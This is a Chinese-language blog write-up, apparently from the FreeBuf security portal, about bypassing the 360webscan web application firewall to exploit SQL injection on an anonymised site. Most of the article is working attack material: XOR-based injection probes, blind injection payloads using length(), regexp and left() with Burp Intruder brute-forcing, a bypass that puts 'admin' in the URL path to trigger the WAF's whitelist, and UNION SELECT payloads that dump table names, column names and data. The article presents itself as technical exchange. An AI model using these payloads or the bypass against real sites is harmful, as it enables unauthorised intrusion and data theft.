freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记一次对WebScan的Bypass
FreeBuf_305136 2018-11-01 15:30:20 751738

*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

PS:此网站漏洞已被处理,本文内容仅供技术交流,严禁用于非法用途。

前言

今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。

进入主题

1. 判断注入点

使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。

判断注入点

但是按位异或运算(^)未被拦截也可以使用xor。

“按位异或运算”测试:

在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:

1^1=0

1^0=1

0^0=0

具体原理参考:https://blog.csdn.net/zpy1998zpy/article/details/80667775

栗子:

栗子

在这里我们对我们的网站进行测试:

页面正常payload:xxxnid=216^(1=1)^1

在这里我们对我们的网站进行测试

在这里我们对我们的网站进行测试

在这里我们对我们的网站进行测试

3. 使用“按位异或运算”判断一下当前数据库名称的长度:

Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1

然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。

 使用“按位异或运算”判断一下当前数据库名称的长度

payload type设置为numbers遍历1-15这15个数字。

 使用“按位异或运算”判断一下当前数据库名称的长度

最终我们得到数据库字段的长度为13。

 使用“按位异或运算”判断一下当前数据库名称的长度

4. 使用“按位异或运算”结合盲注来获取数据库名称:

这里我们使用的是regexp正则注入,简单介绍一下:

用法:select user() regexp ‘^[a-z]’;

这里是在匹配用户名的第一位:

这里是在匹配用户名的第一位

继续匹配第二位的用法:select user() regexp ‘^r[a-z]’;

类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。

构造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1

在这里我们将从数据库的第一个字段开始进行盲注。

进行盲注

这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。

用字典来爆破

爆破出数据库的第一个参数是“p”。

第一个参数是“p”

依次爆破,最终我们得到了数据库名称。

得到了数据库名称

5. 接下来就是构造获取表名的payload了。

我们使用left()函数进行构造,先来看一个的栗子:

select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';

构造获取表名的payload

由此我们可以构造payload为:

xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1

构造payload

事情并不是一帆风顺的,360webscan再次拦截,经测试,拦截的是from关键字,这就很难受了,测试了很多方法都没有绕过过滤,内联注释、编码、干扰正则等方法都没办法。

将from加上别的字符就不拦截。。

不拦截

6. 最后还是找到了“楼兰”大佬帮忙。

大佬告诉我,360的webscan是可以绕过的,原来360webscan自己有定义一个白名单,只要URL路径中出现了admin等关键字时候就能绕过检测。

后来大佬又给我推荐了一篇文章,讲的是绕过360webscan的原理,这篇文章讲的真好,附上文章链接:https://www.leavesongs.com/penetration/360webscan-bypass.html。后来我在网上一搜,原来已经有不少前辈研究过这个绕过方法啦,需要学习的东西真的很多,加油!

最后自己也去看了一下360webscan的源码,白名单如下:(代码地址:https://github.com/baiqj/host_manager/tree/master/other/360safe

白名单

再次构造payload:xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -

再次构造payload

再次构造payload

7. 接下来就好说了,都是常规操作了

这里我们先看一下当前数据库名称,可以看到,和我们之前盲注得到的数据库名称是一致的。

Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -

常规操作

接下来是爆出所有的表名:

Payload:xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -

爆出所有的表名

爆出所有字段名称:

Payload:xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -

爆出所有字段

爆字段内容:

Payload:xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -

爆字段内容

 总结

1. 使用“按位异或运算”来判断注入点,绕过一些过滤了and、or等一些关键字的waf,真的是非常不错的姿势。

2. 我们在一个页面找不到可显字段的时候,可以换几个页面试一下,也可以将前面参数id值改为负,这样都可以让可显字段回显到页面上。

3. 最后一点,就是最后通过在路径中添加白名单关键字“admin”绕过网站的防护,这个思路真的非常棒。

*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

# bypass # webscan
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_305136 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
攻防渗透宝典
FreeBuf_305136 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 2 关注者
文章目录